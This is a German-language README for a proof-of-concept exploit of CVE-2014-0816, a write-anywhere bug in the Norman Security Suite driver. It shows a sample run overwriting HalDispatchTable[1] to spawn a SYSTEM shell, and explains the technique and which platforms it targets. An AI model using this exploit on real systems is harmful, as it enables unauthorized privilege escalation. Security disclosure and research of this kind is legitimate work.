tandasat/cve-2014-0816CVE-2014-0816
Dies ist ein Exploit für CVE-2014-0816 (JVNDB-2014-000026: Norman Security Suite anfällig für Privilege Escalation).
Dieser Exploit startet CMD.exe mit SYSTEM-Privilegien aus Nicht-Administrator-Privilegien, indem er die Sicherheitslücke in einem IOCTL-Handler von ngs.sys / ngs64.sys ausnutzt.
C:\Users\user\Desktop> exploit_ngs.exe
[*] Exploit Norman General Security Driver (ngs.sys / ngs64.sys)
[*] Target file version: ver 5.0.740.0.
[*] An address file was created at C:\Users\user\Desktop\address.bin.
[*] Shellcode is located at 000000013F9357D0.
[*] The device was opened as 0000000000000044.
[*] The address file was opened as FFFFFFFF80000558.
[+] HalDispatchTable[1] is located at FFFFF800033FDC68.
[+] HalDispatchTable[1] was altered.
[+] Shellcode was executed.
[+] The SYSTEM shell was launched.
[*] Press any key to finish this program.
Dann sehen Sie eine neue Konsole.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\user\Desktop>whoami
nt authority\system
Die Sicherheitslücke erlaubt es einem Angreifer, eine beliebige Adresse mit einem beliebigen Wert zu überschreiben, daher ändert dieser Exploit den Wert von HalDispatchTable[1] auf eine Adresse von Shellcode, der die Berechtigungen des aktuellen Prozesses auf SYSTEM-Privilegien erhöht.
Diese Sicherheitslücke ist auf allen Plattformen von Windows XP bis 8 sowohl x86/x64 ausnutzbar, aber dieser Exploit wurde für bestimmte Plattformen entwickelt und getestet (zum Beispiel wird er auf Windows 8 aufgrund von SMEP nicht funktionieren).
Diese Software wird unter der MIT-Lizenz veröffentlicht, siehe LICENSE.